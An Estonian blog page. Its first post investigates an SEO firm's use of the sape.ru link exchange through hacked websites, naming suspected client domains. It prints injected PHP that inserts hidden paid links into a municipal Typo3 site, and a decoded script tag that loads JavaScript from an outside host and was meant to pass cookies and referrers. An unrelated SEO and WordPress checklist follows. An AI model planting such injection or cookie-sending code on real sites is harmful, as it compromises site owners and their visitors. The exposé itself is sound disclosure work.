Lühike sisuline sünops on järgnev:

• Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites
• Tegelikult kasutatakse selleks lingibörse (vallaveebi juhtumi puhul venelaste sape.ru) ehk teenuseid, mis võimaldavad ühel poolel paigutada veebi tekstilinkide müümise koodi ja teisel poolel neisse veebidesse linke osta
• Lingibörsidesse on sisse ehitatud mh pidev monitooring, nt kui Google võtab linke müünud saidi oma indeksist maha peatub automaatselt reklaam/rahavoog jne – ehk kõik mänguosalised on teadlikud, et otsimootorid peavad sellist tegevust lubamatuks ning tegelevad igapäevaselt aktiivse kassi-hiire-mänguga
• Lingibörsi kood satub veebidesse mitmel moel – leidub pisemate saitide omanikke kes kasutavad võimalust raha teenida (mh on suht mõttetu sisuga liiklust suunavate minisaitide pidamine täiesti eraldi tegevusvaldkond SEO-maailmas), on veebimeistreid kes klientide teadmata nende veebe ära kasutavad – ja lisaks on hea äri-idee häkkida massiliselt veebisaitidesse pannes need linke kuvama
• Vaadates Optimi ja nende klientide sape.ru börsilinke paistab, et .ru puhul on tegemist peamiselt linke müüvate veebidega ja mitte-.ru puhul häkitud saitidega – muuhulgas jäi silma, et samal päeval (öösel) saates mainitud vallaveebiga on täpselt sama kood lisatud ka ühte hispaaniakeelsesse veebi ehk tegu on olnud business-as-usual häkkeriga kes tõenäoliselt hankis endale veidike FTP-paroole ja asus nende abil raha teenima (vaadates vallaveebi logisid pakun, et häkker on pärit vene/ukraina suunalt)

Pärast Pealtnägija intervjuud on Optim lisanud oma veebi tööriista mis peaks aitama leida veebilehele peidetud spämm-linke ning deklaratsiooni:

Optim Technology eksperimenteerib aktiivselt rahvusvaheliste tehnoloogiatega, mis hõlmavad ka lingibörside kasutamist. Samas soovime, et linkide müük Eesti Vabariigis toimuks 100% seaduslikel alustel. Pole midagi halba selles, kui koduleht osaleb lingibörsidel lehe omaniku soovil ning teenides omanikule lisatulu. Samuti tuleks sellisel viisil teenitud tulult maksta ka seadustega määratud maksud.

Paraku on Optim kas jätnud lugemata Google’i veebimeistritele mõeldud Quality guidelines’i (ehk nad ei jaga SEO’st ööd ega mütsi, milles ma sügavalt kahtlen) või eksitab tahtlikult oma kliente – sest vägagi selge sõnaga on seal öeldud nii:

Avoid tricks intended to improve search engine rankings. A good rule of thumb is whether you’d feel comfortable explaining what you’ve done to a website that competes with you. Another useful test is to ask, “Does this help my users? Would I do this if search engines didn’t exist?”

Don’t participate in link schemes designed to increase your site’s ranking or PageRank. In particular, avoid links to web spammers or “bad neighborhoods” on the web, as your own ranking may be affected adversely by those links.

Tegemist ei ole muideks mingi uue teemaga, näiteks jääb kiire guugeldamisega näppu Matt Cutts’i postitus aastast 2005 Text links and PageRank - ehk Google tegeleb aktiivselt sellega, et tabada müüdud linke ning vältida nende arvestamist otsitulemuste järjestamisel.

Olgu lisatud, et peidetud linkide avastamisel saab linkiv sait nipsti indeksist kinga – näiteks sattusin ma 2009-suvel mõnede Eesti saitide peale mille sappa oli neid haldav veebimeister lisanud lingid parim-ee kataloogi alamlehtedele. Palusin saidi-omanikul lisada lehele Google Webmasters Tool’i tuvastuskoodi ja sain peagi näha järgmist teadet (kuna veebimeister on vahepeal vahetunud peidan saidi nime):

Ja otseloomulikult pole Google’i poliitikas midagi erakorralist, ka kõik teised otsimootorid näevad vaeva pakkumaks “orgaanilisi” tulemusi … ja kes mõistab venet võib vaadata (arvatavasti autorikaitse eesmärgil suvaliste klipijuppidega pikitud) intervjuud Война между Яндекс и биржой ссылок sape.ru kus viimase tehnikapealik selgitab süsteemi tööd. Muideks – isegi Optimi ärimudel “arve ainult toimiva positsioneerimise eest” ei ole unikaalne vaid lingibörsi-vahenduse vallas pigem tavapärane.

Tänu tegelastele nagu sape.ru ja selliste teenuste pisivahendajatele nagu Optim saavad kasutajad otsitulemusi mis ei vii neid mitte parima kliendireputatsiooniga ettevõtte juurde vaid seltskonda keda ei häiri ebaeetiline turundus kanalites mille peamiseks kasutajaks tunduvad olema saidid stiilis asian-t33n-pr0n-com ja russian-mail-order-brides-co-uk.

Septembri algul teemaga tegeledes jäi silma näiteks selline valik Eesti ettevõtete domeene mis kasutasid sape.ru börsi teenust (samadel saitidel oli ka Optimi enda linke miska tundub, et tegemist on nimelt nende klientide ja mitte omal-käel-üritajatega): aknauksemaailm-ee, sfinksehitus-ee, kodusisu-ee, call-ee, veebiabi-ee, planb-ee, lenovo-ee, ereal-ee, kauponline-ee, uksetehas-ee, gidrocity-ee. Pealtnägija tarbeks tehtud helita kattevideo otsimisest, leidmisest ja peidetud linkidest leiab siit.

Kui leiad siit nimekirjast oma konkurendi (või lihtsalt on veidi aega üle) siis soovitan teha otsing stiilis link:uksetehas.ee ning seejärel astuda läbi Google Webmaster Tools all olevast Report paid links tööriistast (eeldab sisselogimist) ning täita vorm.

Nüüd aga tiba tehnilisemaks – kuidas siis asi käib? Hea ülevaate linkide ostmisest SAPEs annab nende enda õppevideo http://vimeo.com/23869111 ja tõepoolest, tegemist on väga vinge tööriistaga mis muuhulgas võimaldab otsida sobilikke saite lähtuvalt märksõnadest ja pagerank’ist, hallata keerulisi kampaaniad ning kontrollida ostetud linkide toimimist.

Veebimeistri jaoks on olemas õpetused kõigi tuntud sisuhalduslahenduste jaoks – reeglina PHP-kood mis suhtleb SAPE serveriga, hangib sealt värksed lingid ning siis kuvab need veebilehel sobilikus kohas. Kood sokutatakse sisuhalduses mõnda vähekäidavasse nurgatagusesse ja näiteks Lasva valla veebi puhul pöördus selle poole jupike Typo3 index.php sabas:

$sp_script = $_SERVER['DOCUMENT_ROOT'].'/fileadmin/tv-templates/template1/images/401.php';
$style="<style type=\"text/css\">\nhtm, bod {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
$style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #E8E8E8;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";
while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
{
$new_contents.=substr($contents,0,strpos($contents,"<a "));
$contents=substr($contents,strpos($contents,"<a "));
$ahref = substr($contents,0,strpos($contents,"</a>")+4);
$contents=substr($contents,strpos($contents,"</a>")+4);
if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
!strpos($ahref,"href='<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
{ $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
{
$new_contents = str_replace("</head>",$style."</head>",$new_contents);
$new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
$new_contents = str_replace("charset=ISO-8859-1","charset=UTF-8",$new_contents);
echo substr($new_contents,0,strpos($new_contents,"</body>"));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,"</body>"));
}
else { echo $new_contents; }

Nagu näha lisatakse saidi enda linkidele ühtlasi noindex vältimaks väärtusliku “lehemahla” lahjendamist mitte-börsi linkide poolt. Väga kaunis ja professionaalne :-)

Pealtnägija jaoks tehtud teises kattevideos soovitaks aga eraldi vaadata kohta mis algab ca 1:20 peal – seal on näha konkreetse lingibörsikasutaja kood ning kui seda guugeldada tuleb välja üks hispaaniakeelne sait … mis on juhtumisi saanud endale börsikoodi samal päeval Lasva veebiga ehk 08.11.2010:

Sarnast SAPE-linkide märgendust ehk <div id=’sp’> hakkas silma veel mitmes saidis, enamus neist Dreamhost’i all:

• go.org.nz 69.163.150.4 apache2-udder.brewers.dreamhost.com
• www.lgc.org 69.163.167.250 apache2-emu.reds.dreamhost.com
• datingfoundry.com 69.163.185.120 apache2-linus.yaounde.dreamhost.com
• www.sumaqperu.com 69.163.204.191 apache2-fritz.suva.dreamhost.com
• www.gundaroobushfestival.org.au 69.163.179.108 apache2-prance.vikings.dreamhost.com
• www.bogotabiketours.com  69.163.172.12 apache2-adamant.bulls.dreamhost.com
• escuelasinestres.org 69.163.203.250 apache2-emu.sansalvador.dreamhost.com
• cnuny.org 188.120.245.97 heyhosting.com
• eutcartagena.es 212.36.82.107 fnhca-29.srv.cat

Tiba erinev tehnoloogia ehk teksti sisse pikitud lingid jäid silma saitides:

• forestig.com
• macyscoffee.com
• www.punjabjustice.org

Kohvi-saidist leiab muideks keset ajalooteksti lingi veebiabi-ee peale… ja tellimise lehelt Optimi enda taanikeelse saidi promo:

Päris alati ei pruugi saidi häkkimine aga peidetud tekstilinkidega piirduda – sattusin peale ka sellisele saidile nagu www.campnuhop.org kus lehesabas olev kood nägi välja palju huvitavam:

See pikk liitmistehe annab tulemuseks uue koodjupi:

<script src="http://sbdtds.com/acounter.js?r=&c=&i=bc193015995f14dc4cefc81636413366a&h=campnuhop"></script>

Nagu näha (vaata kasvõi kattevideo liikuvad pilti) käivitatakse kasutaja brauseris javascript mille alla-laadimise käigus teavitatakse serverit muuhulgas kasutusel olevast brauserist… ja see c= parameeter sisaldanuks saidi cookie’t (mis võimaldaks mh tulevikus minuna sisse logida) ning r= refereri (ehk kuidas kasutaja laagri lehele tuli). Vot nii.

Kes oskab ja tahav kaevab (või kaebab) edasi, mina nüüd jälle jupp aega meedias ei esine (see siin oli lihtsalt liiga huvitav juhtum – olen nimelt mõnda aega pisteliselt peidetud linkide teemaga kokku puutunud ning aidanud veebe puhastada / turvaintsidente lahendada; lisaks mainis Mihkel Kärmas mulle teemat kohas mille veebis ma 2009-suvel esimest korda peidetud linkidega kokku puutusin … ning ma lihtsalt ei saanud jälgida oma head tava anda veidi taustainfot ja siis ajakirjanik pikalt saata; jamuideks, guugeldage veidi ja tekib tunne, et ka Optimi taga on PR- ja ajakirjandusteaduskonna lõpetanud :-).

Ja selle käigus on hakanud tekkima checklist asjadest mida peaks ühtemoodi mõistma. List täieneb ajas ja kommentaarid/soovitused teretulnd, samuti nagu viited firmade/gurude kohta Eestis kes võiksid asju sedamoodi teha (eneseahaipimine lubatud).

• WP install peab suutma ennast ja pluginaid adminn-paneelilt uuendada
• WP install peab olema turvaline (ma ei pea ju siia linkima seda?)
• minu wordpressi vidinate standardvaliku leiab siit ja ma üllatun pahasti, kui neid pole (vahest peaks midagi lisama/muutma?)
• keelevahetust teeb WPML (või on parem pakkumine?)
• template kasutab widgeteid, evib alamlehtede stiile, on üldküsimustes SEO-optimeeritud (kui hästi läheb saab seadetest panna paika olulisemad seadistused ning all-in-one-seo pluginat pole vaja)
• template tegija on suutnud leida praktilised rakendused rubriikidele, tagidele, linkidele, postitustele ja lehtedele
• template tegija on mõelnud kaugemale üldisest kujundusest ja mul on postituse sees kasutada läbimõeldud tüpograafia – alapealkirjad, munadega listid, väljatõstega tsitaadid jms
• … ja loomulikult on koodi vaadates näha, et wp codex on ammu läbi loetud & mõistetud mis saab teha sandardvahenditega ja mis tuleb pista oma functions.php’sse

Misveel? Ma olen hetkel seda usku, et hea põhja saamiseks on sageli mõtet alustada tasulisest e premium-template’ist mis enam-vähem eesmärgiga sobib (kuigi kindlasti võib leida ka kommunaalselt aretatud võimekaid põhju, nt blogiformaadi puhul getk2.com) ja seda vajadust mööda timmida (kuna olen sattunud Brian Gardneri fänniks siis pean loomulikuks, et kujundusega tuleb kaasa layeritega originaal-PSD ja foorum kus nõu küsida/bugisid raporteerida).

Checklist ise on üldjoontes järgnev, sekka mõned selgitused (sellises… rants&raves stiilis, andmaks edasi tundeid mis järjekordse samu vigu kordava veebi kohtamisel tekivad):

• kas Google Analytics on olemas? (viitab sellele, et vähemalt teoorias on keegi huvitatud veebi efektiivsusest)
• kas Eesti otsimootorite tugi on lisatud? (see kes GA koodi lisas mõtles veidi selle peale, mida klient sealt statistikast ka vaadata võiks)
• ega ometi pole lisatud kõiki Eesti otsimootori-laadseid saite? (see kes GA koodi lisas on kunagi ka ise GA’sse vaadanud ja teab, et peale neti.ee statistiliselt olulisi kohalikke otsimootoreid pole; tõsi, mõned 1182-tüüpi saidid võivad olla lisatud soovist tõestada nende mittetoimivust – sellisel puhul võiks arvata, et saidiomanik on selle teemaga ka kurssi veetud ning teeb kataloogi-müügimehele kiirelt tuule alla ja oskab mulle seda protsessi ka (kahju)rõõmsalt kirjeldada)
• kas <title> sisaldab ainult saidi/firmanime kõigil lehtedel (kui jah siis pole arendaja eladeski hoidnud korraga lahti mitut brauseriakent)
• kas <title> küll erineb lehelt lehele, aga koosneb jadast slogan – firmanimi – rubriik – rubriik -rubriik – lehepealkiri (arendaja pole eladeski vaadand kuidas see Googles välja näeb, titlet kuvatakse ca 55tm; tõsi, selline title lubab GA’s title järgi lehti sortida, aga veebi ei tehta ainult analüütika jaoks)
• kas <title> on midagi stiilis lehepealkiri – rubriik – firmanimi (tubli, luurele küll veel ei läheks aga vähemalt õlled võiks teha)
• <title> vähesed tähemärgid on tõlgendatavad kui antud alamlehe slogan (see eeldab juba mootori võimalusi + kliendi/sisutoimetaja pädevust; õlled minu poolt, pärast võib veidi luurata kah, aga soovitavalt oma tagalas)
• meta description puudub (pole implementeeritud, võib olla erinevaid põhjuseid)
• meta description olemas aga tühi või sama mis keywords vms imelik, läbi saidi (arendaja pole pihta saanud mida selle välja sisuga tehakse, loeb nt http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html – rõhutatult aastaarvuga URL - ja teeb mulle seejärel kiiresti õlled välja)
• meta description olemas ja moodustab <title> slogani juurde täiendava kutsuva teksti (õlled minult, heameelega arutaks kuidas selline areng mõjutas Google Webmaster Tools’is nähtavat mitte-esikoha-sõnade klikitavust ja piiluks numbreid)
• meta keywords – vt Priidu juurde ja sealt kommentaaridest minu lugemissoovitusi http://www.dreamgrow.ee/2918-keyword-metatagi-pole-vaja
• id=123 asemel on kasutusel inimloetvad URLid (tubli!)
• inimloetavad URLid toimivad ilma ilmselgete probleemideta läbi saidi, ei tekita erinevatel URLidel serveeritavat sisu või kui tekitavad siis on see probleem rel=canonical abil taandatud
• inimloetavad URLid on kenasti /keel/üldisem/täpsem-alajaotus, ei pruugi päris täpselt vastata lehe pealkirjale aga on ilmselgelt läbimõeldud (ning arendaja ülteb seda listi kliendile näidates “kusjuures kui te URLi muudate hakkab vana automaatsele 301-redirectima uue peale”, tõsi veidi arusaadavamas keeles; õllede kõrvale on valmis arutlema Jon Udelli loo http://blog.jonudell.net/2009/08/31/the-joy-of-webscale-identifiers üle ning ei jäta mainimata, et luges juba aastal 2004 ka sealviidatud Tom Coates’i postitust ning noogutas elavalt kaasa)
• kui URL pole inimloetav ja mõistliku hierarhiaga a la /keel/rubriik/artikli-pealkiri siis on see vähemalt antud kampa _trackpageview’ga (kui pole siis ilmselgelt pole arendaja kunagi pidanud käsitsi tegema hiinlase tööd ja kontrollima mis on need 50 enimkülastatud lehte, 50 landingpage‘i, 50 exitpage‘i jne)
• lehekülje print-versioonid ei tule otsimootoris välja eespool päris-lehekülgi (siiski: 0.1 punkti ehk lahja keefiri saab arendaja kirja juhul, kui kuvatav print-lehekülg on korraga printimiseks sobilik ja samas lingib nt logoga tagasi päris-lehele)
• pealkirjad on kenasti tähistatud h1…h6 abil (abiks nii otsimootorile kui nägemispuudega inimeste ekraanilugejatele)
• mitmekeelse lehe puhul lingib X-keelne alamleht keele-valikust kenasti Y-keelsele samasisulisele lehele (eeldusel, et see on juba loodud)
• robots.txt olemas, ei keela nimme või kogemata kogu saidi indekseerimist, viitab sitemap.xml’ile
• sitemap.xml on olemas, automaatselt genereeritud, adekvaatne
• vaadates Google Analyticsisse on näha, et sisevõrk on excluded (sageli on 20% liiklusest omad; tõsi kohati nt väga suure firma puhul võib olla vaja ka seda uurida miska parem takkajärgi segmenteerida, suurtel niikuinii omanimiline IP-vahemik)
• ja vot siis on eriti tore veel vaadata ka Google Webmaster Tools’i (ja mitte näha seal teadet, et veeb on indeksist eemaldatud kuna veebimeister/majutaja on sinna pistnud varjatud linke stiilis parim-ee-pesumasinad)

Nimekiri pole mõistagi lõplik ning hinnangud kaugeltki absoluutsed – aga annab üsna tõese pildi masendavast olukorrast. A la üle 100kg, armastab õlut ja seapraadi, suitsetab, ei liigu = kõrge südame-veresoonkonna haiguste risk.

Kes tahab vähemnorivat nimekirja võib ette võtta Google’i õpetuse Search Engine Optimization Starter Guide, sisaldab korraga nii viiteid tehnilistele lahendustele kui illustreerivaid näiteid ja peaks olema loetav ka veebisaidi tellijale. Arendaja võiks aga ette võtta ühe hoopis teisel eesmärgil kirjutatud teksti: HTML and XHTML Techniques for WCAG 2.0 räägib sellest kuidas muuta veeb kasutatavaks ka puuetega inimestele (mis on muideks vähemalt riigiasutuste puhul ka kohustuslik), aga enamus seal kirjas olevast sobib kenasti ka otsimootorite aitamiseks.